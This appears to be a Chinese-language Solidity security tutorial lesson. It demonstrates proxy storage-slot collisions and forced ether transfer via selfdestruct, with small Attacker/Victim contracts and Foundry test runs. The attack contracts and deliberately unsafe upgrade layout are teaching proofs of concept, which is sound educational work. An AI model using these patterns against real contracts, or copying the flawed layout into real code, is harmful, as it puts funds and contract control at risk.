《纸上谈兵·solidity》第 20 课：Solidity 安全专题（二）—— 编译器特性与低级漏洞

// V1
contract LogicV1 {
    uint256 public value;  // slot 0
}

// V2 (错误升级)
contract LogicV2 {
    address public owner;  // slot 0 （与 V1 的 value 冲突）
}

contract Victim {
    function transfer(address to, uint256 amount) public {}
    function f123456789() public {}
}

contract Victim {
    uint256 public balance;

    function deposit() external payable {
        balance += msg.value;
    }
}

contract Attacker {
    function attack(address payable target) external payable {
        selfdestruct(target);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract LogicV1 {
    uint256 public value; // slot 0
    function setValue(uint256 v) external {
        value = v;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract LogicV2 {
    address public owner; // slot 0
    function setOwner(address o) external {
        owner = o;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/SlotLogicV1.sol";
import "../src/SlotLogicV2.sol";

contract SlotCollisionTest is Test {
    LogicV1 v1;
    LogicV2 v2;

    function setUp() public {
        v1 = new LogicV1();
        v2 = LogicV2(address(v1)); // 模拟升级代理
    }

    function testCollision() public {
        v1.setValue(123);
        emit log_named_uint("Stored in V1.value", v1.value());

        // 直接读 slot 0 的原始值
        bytes32 raw = vm.load(address(v1), bytes32(uint256(0)));
        emit log_named_bytes32("Raw slot0 data", raw);

        // 解释为 address
        address fakeOwner = address(uint160(uint256(raw)));
        emit log_named_address("Interpreted as V2.owner", fakeOwner);
    }
}

➜  counter git:(main) ✗ forge test --match-path test/SlotCollision.t.sol -vvv
[⠊] Compiling...
[⠢] Compiling 1 files with Solc 0.8.29
[⠆] Solc 0.8.29 finished in 1.13s
Compiler run successful!

Ran 1 test for test/SlotCollision.t.sol:SlotCollisionTest
[PASS] testCollision() (gas: 39104)
Logs:
  Stored in V1.value: 123
  Raw slot0 data: 0x000000000000000000000000000000000000000000000000000000000000007b
  Interpreted as V2.owner: 0x000000000000000000000000000000000000007B

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.49ms (1.14ms CPU time)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Victim {
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

contract Attacker {
    function attack(address payable target) external payable {
        selfdestruct(target);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/Victim.sol";
import "../src/Attacker.sol";

contract SelfdestructTest is Test {
    Victim victim;
    Attacker attacker;

    function setUp() public {
        victim = new Victim();
        attacker = new Attacker();
    }

    function testForcedETH() public {
        emit log_named_uint("Victim balance before", victim.getBalance());

        attacker.attack{value: 1 ether}(payable(address(victim)));

        emit log_named_uint("Victim balance after", victim.getBalance());
    }
}

➜  counter git:(main) ✗ forge test --match-path test/Selfdestruct.t.sol -vvv 
[⠊] Compiling...
[⠢] Compiling 2 files with Solc 0.8.29
[⠆] Solc 0.8.29 finished in 1.08s
Compiler run successful with warnings:
Warning (5159): "selfdestruct" has been deprecated. Note that, starting from the Cancun hard fork, the underlying opcode no longer deletes the code and data associated with an account and only transfers its Ether to the beneficiary, unless executed in the same transaction in which the contract was created (see EIP-6780). Any use in newly deployed contracts is strongly discouraged even if the new behavior is taken into account. Future changes to the EVM might further reduce the functionality of the opcode.
  --> src/VictimAttacker.sol:12:9:
   |
12 |         selfdestruct(target);
   |         ^^^^^^^^^^^^


Ran 1 test for test/Selfdestruct.t.sol:SelfdestructTest
[PASS] testForcedETH() (gas: 28393)
Logs:
  Victim balance before: 0
  Victim balance after: 1000000000000000000

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.99ms (646.87µs CPU time)

Ran 1 test suite in 345.96ms (6.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)